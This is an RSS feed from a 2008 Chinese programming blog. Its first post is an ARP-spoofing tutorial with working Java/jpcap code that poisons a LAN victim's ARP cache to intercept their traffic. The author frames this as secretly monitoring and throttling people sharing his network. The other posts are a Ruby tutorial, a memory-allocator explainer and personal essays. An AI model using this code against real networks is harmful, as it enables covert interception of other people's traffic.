<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
  <channel>
    <title>未知世界</title>
    <description></description>
    <link>http://calmness.javaeye.com</link>
    <language>UTF-8</language>
    <copyright>Copyright 2003-2008, JavaEye.com</copyright>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>JavaEye - 做最棒的软件开发交流社区</generator>
      <item>
        <title>使用JAVA通过ARP欺骗实现数据封包监听</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/218616" style="color:red;">http://calmness.javaeye.com/blog/218616</a>&nbsp;
          发表时间: 2008年07月23日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          如果说最近有什么不爽的事情，那就是与人共享网络的痛苦了，特别是当其他共享者使用那些P2P工具下载软件，而你却看着网页进度条一点点爬的时候，那种痛苦对于我这种网虫级别的人来说，那简直就是痛不欲生。绝对不能再忍了，于是乎上网下载P2P终结者，哼，你们不仁我则不义，看谁厉害。软件下好后，立刻启动监控，然后尝试了下速度，哇，那个爽啊。可惜好景不长，没多久对方就跑来问我为什么他们断网了？我楞了一下，那垃圾软件居然连对方的网都断了，于是支支唔唔的应付了他，说我看下，总算勉强过关，还好他们不懂电脑，不然就掉大了（貌视挺卑鄙的，别BS俺，俺也是迫不得已）。 <br />       没办法，那破烂软件居然连人家网都断了，我仅仅只是想给他们限速而已（还算有点良心），仔细查看了下文档，使用的方式都没问题啊，为什么会这样呢？想了半天也毫无头绪，没办法，看来只能自己动手了，于是乎上网找了些关于这方面的资料看了下，也写了一点代码做试验，由于时间有限也只写了一点，不过总体的做法大概是有所了解，在这里就写一篇文章大概记录一下自己的做法，以便作为日记又可与大众分享下。<br /><br />       其实目前网络上类似P2P终结者这类软件，主要都是基于ARP欺骗实现的，网络上到处都有关于ARP欺骗的介绍，不过为了本文读者不需要再去查找，我就在这里大概讲解一下。<br /><br />       ARP（Address Resolution Protocol）既地址解释协议，主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议，而MAC是被数据链路层使用。网络中两个节点要进行通信，那么首先发送端必须要知道源和目的地的MAC地址，而网络层是使用IP地址，所以要获得MAC地址，就必须通过IP地址获取对应的MAC地址，这样就需要使用ARP协议将IP地址转换为MAC地址，而同时为了能够快速的找到目的地的MAC地址，每个节点都会有一个ARP缓存，用于保存已经转好好的MAC地址，大家可以在控制台下使用arp –a指令查看arp缓存表。<br /><br />       而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候，系统会首先检查ARP表中是否存在对应的IP地址，如果没有，则发送一个ARP广播，当某一个拥有这个MAC地址的节点收到ARP请求的时候，会创建一个ARP reply包，并发送到ARP请求的源节点，ARP Reply包中就包含了目的地节点的MAC地址，在源节点接受到这个reply后，会将目的地节点的MAC地址保存在ARP缓存表中，下一次再次请求同一IP地址的时候，系统将会从ARP表中直接获取目的地MAC地址，而不需要再次发送ARP广播。<br /><br />       看到这里，ARP的具体过程大概讲解了一遍，希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧，其实就是利用ARP表进行ARP欺骗，比如一台局域网内的机器A，通过网关B进行internet连接，而它的arp表中保存着网关B的IP和MAC地址对，如下：<br /><br />192.168.1.1    —>    MAC1(懒得写那么长了，就以MAC1作为MAC地址了)<br /><br />那么也就是说，当A想上网的时候，他所有的数据都将先发送到网关再由网关转发出去，那么A的数据首先会通过192.168.1.1找到网关的MAC地址MAC1，然后就可把数据发送到网关了。此时你的机器是C，MAC地址是MAC2，你想通过ARP欺骗来获取A传输的数据，那么你所需要做的事情其实很简单，就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可，这样子机器A所有发送到192.168.1.1的数据就会发到MAC地址为MAC2的机器上，也就是你的机器上了。<br /><br />要更改APR表的记录，办法就是伪造一个ARP reply包发送给机器A，而这个ARP reply包中的源IP为192.168.1.1，MAC地址为MAC2既你的机器的MAC地址即可，机器A接受到后就会将这个源IP和MAC刷新到它的ARP缓存表中，覆盖原有的记录，最终这样就可以达到ARP欺骗的目的了。<br /><br />讲到这里不知道大家是否对ARP欺骗有所了解呢？如果再不了解那就上网搜搜吧，网上很多相关的资料。好了，原理讲完了，那就轮到实现了，通过JAVA又如何实现ARP欺骗呢？<br /><br />从头到尾来做，当然不是我的作风，JAVA社区那么庞大，我么应该好好利用，要站在巨人的肩膀上成功嘛，呵呵。有一个开源项目JPCAP，这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制，具体可到官方网站查看其文档。<br /><br />在这里，我实现了一个简单的封包截取程序，根据ARP欺骗的原理，我们所需要做的事情如下：<br /><br />1、 构建一个ARP Reply包<br /><br />2、 将该封包发送到需要欺骗的机器<br /><br />代码如下：<br /><pre name="code" class="java">
public class LocalListener {

    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;                                        //与设备的连接
    private JpcapSender sender;                                     //用于发送的实例
    private Packet replyPacket;                                      //ARP reply包
    private NetworkInterface device;                           //当前机器网卡设备
    private IpMacMap targetIpMacMap;                        //目的地IP MAC对

    public LocalListener(IpMacMap target) throws Exception {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();               device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }

    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接
        jpcap.setFilter("ip", true);                                //只监听ip数据包
        sender = jpcap.getJpcapSenderInstance();
    }

    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);  
        //创建修改目标机器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); 
        //创建以太网头信息，并打包进reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }

    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送
                while(true){
                    send();  
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        });
        t.start();
        //截获当前网络设备的封包收发信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}


//IP-MAC实体，只用于保存一对IP-MAC地址
public class IpMacMap {
    private String ip;
    private byte[] mac;

    public IpMacMap(){
    }
    
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
    
    public String getIp() {
        return ip;
    }

    public void setIp(String ip) {
        this.ip = ip;
    }

    public byte[] getMac() {
        return mac;
    }

    public void setMac(byte[] mac) {
        this.mac = mac;
    }   
    
}

//ARP reply包生成类，用于根据目的地址和源地址生成reply包
public class ARPPacketGern{

    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;         //选择IP网络协议类型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节
        arpTarget.plen = 4;                              //IP地址长度固定4个字节
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}





//根据目的地MAC和源MAC构建以太网头信息，用于传输数据
public class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();           //创建一个以太网头
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;   //选择以太包类型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;        
        return ethToTarget;
    }
}

</pre><br />  <br />    如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP reply封包，其中可看到，reply包中的源IP为192.168.11.1，而源MAC则被改成当前机器的MAC地址，既device.mac_address，这样当192.168.11.4的机器接收到该reply包后，就会刷新ARP表，并且所有发送往192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包，主要是因为ARP表会在一定时间内更新，所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息，本来此方法只能监听到本机数据包的信息，但由于使用了ARP欺骗，所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包，并看到类似如下的信息：<br /><br />1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S<br /><br />    其实上例程序虽然可以截获并监听192.168.11.4的数据包，但是如果真的运行起来后，192.168.11.4的机器将会无法上网（假设该机器通过192.168.11.1作为网关上网），这又是为何呢？<br /><br />    这就是因为本机截获了192.168.11.4的封包，但是却没有将封包转发出去，所以实际上数据包到了你的机器上后就被中断了，数据包无法发送出去。既然要监听对方机器，当然不能让对方知道啦，如果你监听了那台机器，却导致对方无法上网，傻子也知道有问题啦，所以以上程序仍然要加个补充，那就是将封包数据在转发到192.168.11.1上，只要将截获的封包再send出去就可以了，具体如何做就留给大家想吧，困了，休息了，如果有朋友有兴趣又实在想不出如何做的话，可以向我提出来，有必要的话，下次再贴一个完整点的例子吧。<br /><br />    对了，最后还有补充的地方，那就是我们可以通过同样的方式刷新网关的ARP，这样网关接受到的数据也会被本机截获，同样再通过本机转发到目的机器即可。这样对方既可正常上网，而我们又可截获对方的数据包，如果要进行限速的话，那就是在截获封包的同时，进行一定的延时，比如一秒只允许多少K的数据通过，都可以在这里做手脚，同样的，具体如何留给大家想吧，^ o ^。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/218616#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 23 Jul 2008 16:12:41 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/218616</link>
        <guid>http://calmness.javaeye.com/blog/218616</guid>
      </item>
      <item>
        <title>你的价值在哪里？</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/200673" style="color:red;">http://calmness.javaeye.com/blog/200673</a>&nbsp;
          发表时间: 2008年06月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          今天一个朋友在Q群里问到，程序员的价值在哪里？很多群友们都纷纷发言，有的说没价值只是一个工具，有的说看老板心情了...... <br /><br />这让我想起一个故事，一个牧师经过盖教堂的工地，见到有三个工人正在砌墙，于是他跑去问第一个工人，你正在干什么，工人回答道，我在砌墙。接着牧师又跑到第二个工人面前问着相同的问题，工人回答说我在盖教堂。在问道最后一个工人的时候，那个工人昂首并自豪的说道，我在盖一座最大且最美丽的教堂。 <br /><br />从这个故事可以看到，三个人做同样一件事情，却有着不同的想法。今天在群里的那个问题，程序员的价值在哪里？如果要我说，我会告诉你，程序员在改变着世界。 <br /><br />你呢？你又是如何看待自己的职业价值，或者说如何看待自己的价值？
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/200673#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Thu, 05 Jun 2008 20:41:38 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/200673</link>
        <guid>http://calmness.javaeye.com/blog/200673</guid>
      </item>
      <item>
        <title>Ruby 异常处理</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/196396" style="color:red;">http://calmness.javaeye.com/blog/196396</a>&nbsp;
          发表时间: 2008年05月24日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          异常处理是开发过程中经常要面对的问题，基本所有高级语言都有自己的异常处理系统，ruby也不例外，而且使用起来也非常简单。<br /><br />        ruby中异常的抛出是使用的raise方法，记住哦，这是个方法，由ruby Kernel提供的，而不是关键字，同时ruby也为这个方法提供了一个别名fail，可以用fail代替raise，抛出异常的例子如下：<br /><pre name="code" class="ruby">
raise                                                       #抛出一个默认的RuntimeError
raise "Some error message"                   #抛出一个消息为"Some error message"的RuntimeError
raise ArgumentError                                #抛出一个无消息的ArgumentError
raise ArgumentError, "Bad data"           #抛出一个消息为"Bad data"的ArgumentError
raise ArgumentError.new("Bad data")    #同上
raise ArgumentError ArgumentError, "Bad data", caller[0]  #抛出一个包含消息的格式为filename:line 或者 filename:line:in 'method' 的异常 
</pre><br /><br />        以上代码中的raise可以使用别名fail代替，在没有明确的给出异常类型时，ruby默认抛出RuntimeError，其中最后一个例子抛出的信息包含了当前错误所在的文件，行数已经所在的方法的信息，这些信息都存储在caller这个数组中，里面包含了方法调用者的相关信息，第一个元素包含了方法的调用者的信息，第二个信息包含了方法调用者的调用者的信息，以此类推。这个数组在我们想知道异常是在哪个地方的哪个调用被抛出的时候非常有用的。<br /><br /><pre name="code" class="ruby">       
def func1
puts caller            #打印调用者信息
end

def func2
func1                    #第六行
end

def func3
func2                    #第十行
end

func3                    #最终调用者，十三行

#运行结果
#test.rb:6:in `func2'
#test.rb:10:in `func3'
#test.rb:13
</pre><br />        从上面的代码可以看出，caller记录了每个调用者所在的文件名，行数以及方法。<br /><br />        上面讲解了关于ruby异常抛出的方式以及caller数组的作用，接下来我们来了解一下ruby中是如何进行异常的捕捉的，在java中，异常的捕捉是在try ... catch当中进行，而ruby则是在begin ... end代码块中进行异常的捕捉，在该代码块中使用rescue关键字进行捕捉异常类型，注意哦，这个是关键字，而不是方法。<br /><pre name="code" class="ruby">
begin
    ......                               #可能出现异常的代码
rescue  errorType1            #要捕捉的异常类型
    ......                               #处理异常的代码
rescue  errorType2            #要捕捉的异常类型
    ......                               #处理异常的代码
end
</pre><br />        以上代码就是一个大概的捕捉异常的例子，在begin和end代码块中通过rescue进行异常类型的捕捉然后进行适当的处理，可是如果抛出的异常类型并没有显示的捕捉如何处理呢？那就是在最后使用else，如下：<br /><pre name="code" class="ruby">
begin
    ......                               #可能出现异常的代码
rescue  errorType1            #要捕捉的异常类型
    ......                               #处理异常的代码
rescue  errorType2            #要捕捉的异常类型
    ......                               #处理异常的代码
else
    ......                               #如果以上代码类型都没有捕捉到，则运行该段代码
end
</pre><br />        这时又有一个问题，如果我想获取异常信息又该如何做呢？请看下面的代码：<br /><pre name="code" class="ruby">
begin
   raise ArgumentError, "Bad data"
rescue => err
  puts err
end
</pre><br />       通过rescue => variable的方式，就可以将异常保存为一个variable了。又解决了一个问题，还有什么问题呢？啊，对了，在java的使用当中，比如使用 Connection进行数据库连接后，最后一定要进行资源的清理，都是在finally块当中进行的，可是在ruby中又如何进行这些资源的清理呢？看看下面的代码：<br /><pre name="code" class="ruby">
begin
   raise ArgumentError, "Bad data"
rescue => err
  puts err
ensure
  ...                       #执行清理工作
end
</pre><br />        从上面代码我们看到，ruby提供了一个关键字ensure，它的作用和java中的finally一样，无论任何异常，该关键字下的代码都必然会在退出代码块前执行。同时，ruby还提供恢复功能，如果在抛出异常并进行异常处理后我们需要进行恢复工作，那就是使用retry就会重新执行代码块了。<br /><br />        上面提到，异常的捕捉处理必须在begin-end代码块中进行，那是不是无论什么时候都要书写begin-end这两个关键字呢？其实也不是，在 ruby中，方法实际上就是一个隐式的begin-end代码块，所以在方法中进行异常的捕捉和处理，可以省略begin。<br /><br />        本文参考——《The Ruby Way》
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/196396#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 24 May 2008 17:06:27 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/196396</link>
        <guid>http://calmness.javaeye.com/blog/196396</guid>
      </item>
      <item>
        <title>IT人员流动的思考</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/194335" style="color:red;">http://calmness.javaeye.com/blog/194335</a>&nbsp;
          发表时间: 2008年05月19日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          相信大家都经历或者是了解，大部分程序员从初出道进入一家企业，比如转正后是2000-2500的待遇，等到在企业做了一两年后，仅仅只有很少的一部分人能够在当前企业获得大的提升，既是遇到了提升瓶颈（主要是待遇方面），而这个时候大部分人所想到的对策就是跳槽，在圈内到处都流传着，程序员加工资最快的方式就是跳槽。这种想法可以说是遍布整个行业，导致了IT行业形成了一个恶性的循环，这也是IT行业流动性大的主要原因之一。<br /><br />    这种情况的坏处可谓是无处不在，流动性大除了人才的流失，更严重的就是造成软件产品开发的断裂，我们很多人相信都有这个经历，在接手的项目中，发现项目里代码风格各异，很难统一，更难维护。同时人才流失，造成人事成本增加，得不偿失。还有更多更多的坏处，在此就不一一举例了。<br /><br />    造成这种情况真的是IT行业的宿命吗？在我过往接触的一些IT企业的老总里面，大部分都给了我一个思想，那就是在他们眼里，最不缺的就是程序员，随时可以花更少的钱招到和你做同样事情的人。对于这种思想，我实在是无法理解，当然，也并非是所有老总都如是想。<br /><br />    对于这种想法我不敢苟同，就因为他们这种想法，造成人才严重流失，造成人事成本实际有增无减，产品开发断裂，最终造成项目因过多思想参杂其中导致失败（通常还是因为文档缺乏，接手人无法了解原来的思想，国内真正能做得好的企业并不多）。同时这不仅仅只是影响单一公司的存亡，从长远看更是影响国内整个行业的兴衰。<br /><br />    当然，这责任并非只在公司，只是通常来说，公司如果能够在奖罚上做得更完善，也许情况会有一定好转，最起码能够让优秀的员工满意，而不是想着通过跳槽来达到自己的标准，毕竟没有人不想稳定的。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/194335#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 19 May 2008 12:40:57 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/194335</link>
        <guid>http://calmness.javaeye.com/blog/194335</guid>
      </item>
      <item>
        <title>悲伤伴着感动，难以平复的心情</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/193121" style="color:red;">http://calmness.javaeye.com/blog/193121</a>&nbsp;
          发表时间: 2008年05月14日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          5.12，一个让国人永远难忘的日子，这一天给我们带来太多的伤痛，同时亦给我们带来太多的感动。 <br /><br />    灾区前线数以万计的灾民被压在乱石之下，同时亦有无数的军民一起抢险救灾，温总理更是第一时间动身赶赴灾区，现场指挥救灾。从各大新闻站点看到一张张灾区的实况照片，每看一张，自己的心情就下沉一分，看着照片上显示着地上横七竖八的躺着的难民，我完全不敢想象这样的场景，简直就是一个人间地狱，让我一时难以接受。这都是人命啊，在自然灾害之下，人命是如此的脆弱，一个地震就让成千上万的人失去了宝贵的生命。三十年前的唐山大地震的时候我没出世，但是三十年后的汶川512大地震却让我深深的震撼了，无法言喻的震撼，尽管我没有亲身经历。 <br /><br />    除了伤痛，感动场景亦是无时无刻不萦绕在我的心里，特别是温家宝总理对前往重灾区的登机部队领导的讲话：<span style="font-size: large"> <span style="color: red">“我就一句话，是人民在养你们，你们看着办吧！” </span></span><br /><br />    面对一个这样的总理，我心里除了感动、尊敬以外，更多的是自豪，看吧，这就是我们中国人的总理，实在不需要太多的话了，在此祝福灾区人民早日脱离灾难，并在此深深感谢那些带给我无数感动的人，谢谢！ <br /><br />    在此附上通过手机捐款的方式（有怀疑的朋友可以上网查询）： <br /><br />捐款号码为1069 999309，1069 999301。 <br />如果您愿意一次性捐1或2元，可以发送短信1或2到1069 999309，1069 999301。 <br />如果您愿意每月捐款5元或10元或15元，可以发送短信MY5或MY10或MY15到1069 999309，1069 999301，定制包月短信服务。 <br /><br />    注：由于全国各省市的电信运营商不同，各地短信回复内容有所不同。同时，有部分省市的部分手机号码存在短信无回复的情况，请直接发邮件至info@one-foundation.com，留下您所遇到的短信捐赠问题。感谢您对壹基金的支持！
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/193121#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Wed, 14 May 2008 23:06:23 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/193121</link>
        <guid>http://calmness.javaeye.com/blog/193121</guid>
      </item>
      <item>
        <title>倒霉的日子</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/190379" style="color:red;">http://calmness.javaeye.com/blog/190379</a>&nbsp;
          发表时间: 2008年05月06日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          人倒霉就是没办法，吃饭也会噎着。最近因为吃了太多上火的东西，导致喉咙又是再度发炎，唉，才好了几天又这样了。发炎也就算了，感冒又一起来，真是祸不单行。昨天下午就请了半天假回家休息，想着现在的医院那么黑，于是决定自己买药吃就行了，反正自己有经验了也知道该买什么药了。买好药回到家，才一躺下，公司来了电话，告诉我明天要带张医生证明回去，否则会扣工资的，我晕，怎么不早说，我以为不用呢，这下爽了，要开医生证明肯定要去医院看病，唉，真是背，早知道就直接去医院看了，为了省点钱，结果现在还是要去看，而且花了更多的钱，55555555555.。。。。。。 <br /><br />    到了医院，医生叫我打针，我可是死也不干，不是因为怕，是因为之前已经试过，不但贵而且也没什么效果，现在的医院真是......，随便找了些理由敷衍了医生，估计他也知道我不会打的了，于是也不再说话了。开完药后跑去柜台一结算，晕倒，居然要80大元，本来想不买了就一走了之，可是柜台前那么多MM，咱可不能丢那人，唉，面子问题。心疼的交出了80大元。心里就不停的嘀咕着，这家黑店，以后再也不来了。 <br /><br />    今天坚持上了一天班，整个人像是垮了一样，打算回家立刻洗澡睡觉，结果洗澡洗到一半，居然没有了煤气，冷得我没了脾气，本身就感冒了，又来了个冷水澡，唉，我是不是撞上衰神了，这段时间怎么这么倒霉啊，看来要想个办法开运才行了。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/190379#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 06 May 2008 21:04:03 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/190379</link>
        <guid>http://calmness.javaeye.com/blog/190379</guid>
      </item>
      <item>
        <title>内存管理的经典算法Buddy</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/189039" style="color:red;">http://calmness.javaeye.com/blog/189039</a>&nbsp;
          发表时间: 2008年05月03日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          Buddy算法，内存管理的经典算法，主要的目的就是减少内存碎片，增加内存的使用率，在unix和linux中都是使用该算法进行内存分配管理。<br /><br />	以linux为例，在linux中，系统会分配一块free_area的数组，该数组的元素为一内存页块，每向上一级，页块的大小成倍增长，既：1、2、4、8、16、32、64、128….2n，如下图：<br />   <br />    <img src="http://calmness.javaeye.com/upload/picture/pic/13449/f75ae93d-5e2f-343f-b0aa-f3ed98f0e14f.jpg" /><br /> <br />内存分配：<br />当进程向系统请求空间时，内存管理系统将在free_area数组中寻找大小适合空闲块，比如需要分配一块512K的空间，系统会在free_area中寻找大小为512K的快，假设首个内存页块大小为4K，则内核会寻找大小是第一个元素128倍的元素，在free_area中既是对应第7个元素，假如该元素对应的空间已经被分配，系统则会再向上搜索，既搜索第八个元素对应的页块链表，此时如果空间足够，则使用该块进行空间分配，由于该块的大小比所申请的空间大一倍，系统会将该块分割为两半，其中一半用于分配，而另外一半则插入上一元素空间，既free_area中第7个元素。如果仍然没有找到空闲的空间，则继续向上搜索。<br /><br />内存回收：<br />	内存回收的过程与分配的过程相反，在回收的时候，内核将检测是否存在相同大小的内存块，如果存在，则将它们进行合并，合成一个大小是原来两倍的新的空闲，每次结合完之后，代码还要检查是否可以继续合并成更大的页面。最佳情况是系统的空闲页面块将和允许分配的最大内存一样大。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/189039#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 03 May 2008 13:13:18 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/189039</link>
        <guid>http://calmness.javaeye.com/blog/189039</guid>
      </item>
      <item>
        <title>程序员，你应该主动点</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/187262" style="color:red;">http://calmness.javaeye.com/blog/187262</a>&nbsp;
          发表时间: 2008年04月27日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
